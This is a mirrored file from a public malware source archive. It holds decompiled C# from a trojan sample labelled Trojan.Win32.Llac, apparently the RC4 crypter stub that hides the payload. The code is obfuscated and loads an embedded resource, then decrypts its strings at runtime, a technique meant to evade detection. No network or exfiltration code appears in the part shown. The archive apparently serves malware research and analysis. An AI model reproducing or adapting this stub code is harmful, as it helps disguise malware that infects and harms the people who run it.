mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 09:56:10 +00:00
115 lines
3.4 KiB
C#
115 lines
3.4 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: .
|
||
// Assembly: RC4STUB, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||
// MVID: 160606E6-36B6-4FBA-AFEC-6A83B6EA2ADB
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Llac.coak-8789f9be2212d2703a374fd76b1c014be160523209fd6790cd7b4f20f0f5fe91.exe
|
||
|
||
using \u0002;
|
||
using System.Collections;
|
||
using System.IO;
|
||
using System.Reflection;
|
||
using System.Runtime.InteropServices;
|
||
|
||
namespace \u0002
|
||
{
|
||
internal sealed class \u0001
|
||
{
|
||
private static string \u0001 = "0";
|
||
private static string \u0002 = "82";
|
||
private static byte[] \u0001 = (byte[]) null;
|
||
private static Hashtable \u0001 = (Hashtable) null;
|
||
private static bool \u0001 = false;
|
||
private static int \u0001 = 0;
|
||
|
||
public static string \u0002([In] int obj0)
|
||
{
|
||
obj0 -= \u0001.\u0001;
|
||
if (\u0001.\u0001)
|
||
{
|
||
string str = (string) \u0091.\u007E\u0080\u0002((object) \u0001.\u0001, (object) obj0);
|
||
if (str != null)
|
||
return str;
|
||
}
|
||
int num1 = obj0;
|
||
byte[] numArray1 = \u0001.\u0001;
|
||
int index1 = num1;
|
||
int num2 = index1 + 1;
|
||
int num3 = (int) numArray1[index1];
|
||
int num4;
|
||
if ((num3 & 128) == 0)
|
||
{
|
||
num4 = num3;
|
||
if (num4 == 0)
|
||
return string.Empty;
|
||
}
|
||
else if ((num3 & 64) == 0)
|
||
{
|
||
num4 = ((num3 & 63) << 8) + (int) \u0001.\u0001[num2++];
|
||
}
|
||
else
|
||
{
|
||
int num5 = (num3 & 31) << 24;
|
||
byte[] numArray2 = \u0001.\u0001;
|
||
int index2 = num2;
|
||
int num6 = index2 + 1;
|
||
int num7 = (int) numArray2[index2] << 16;
|
||
int num8 = num5 + num7;
|
||
byte[] numArray3 = \u0001.\u0001;
|
||
int index3 = num6;
|
||
int num9 = index3 + 1;
|
||
int num10 = (int) numArray3[index3] << 8;
|
||
int num11 = num8 + num10;
|
||
byte[] numArray4 = \u0001.\u0001;
|
||
int index4 = num9;
|
||
num2 = index4 + 1;
|
||
int num12 = (int) numArray4[index4];
|
||
num4 = num11 + num12;
|
||
}
|
||
try
|
||
{
|
||
byte[] numArray5 = \u0090.\u000F\u0002(\u0087.\u007E\u0095\u0002((object) \u001D.\u0096\u0002(), \u0001.\u0001, num2, num4));
|
||
string str = \u0016.\u009D(\u0087.\u007E\u0095\u0002((object) \u001D.\u0096\u0002(), numArray5, 0, numArray5.Length));
|
||
if (\u0001.\u0001)
|
||
{
|
||
try
|
||
{
|
||
\u0006\u0002.\u007E\u001F\u0002((object) \u0001.\u0001, (object) obj0, (object) str);
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
}
|
||
return str;
|
||
}
|
||
catch
|
||
{
|
||
return (string) null;
|
||
}
|
||
}
|
||
|
||
static \u0001()
|
||
{
|
||
if (\u001F.\u0097(\u0001.\u0001, "1"))
|
||
{
|
||
\u0001.\u0001 = true;
|
||
\u0001.\u0001 = new Hashtable();
|
||
}
|
||
\u0001.\u0001 = \u0092.\u000E\u0002(\u0001.\u0002);
|
||
Assembly assembly = \u001A\u0002.\u0087\u0002();
|
||
Stream stream = \u001E\u0002.\u007E\u0084\u0002((object) assembly, "{160606e6-36b6-4fba-afec-6a83b6ea2adb}");
|
||
try
|
||
{
|
||
int length = \u0007\u0002.\u0008\u0002(\u001C\u0002.\u007E\u0098\u0002((object) stream));
|
||
\u0001.\u0001 = new byte[length];
|
||
int num = \u001D\u0002.\u007E\u009A\u0002((object) stream, \u0001.\u0001, 0, length);
|
||
\u001E.\u007E\u0099\u0002((object) stream);
|
||
}
|
||
finally
|
||
{
|
||
if (stream != null)
|
||
\u001E.\u007E\u0096((object) stream);
|
||
}
|
||
}
|
||
}
|
||
}
|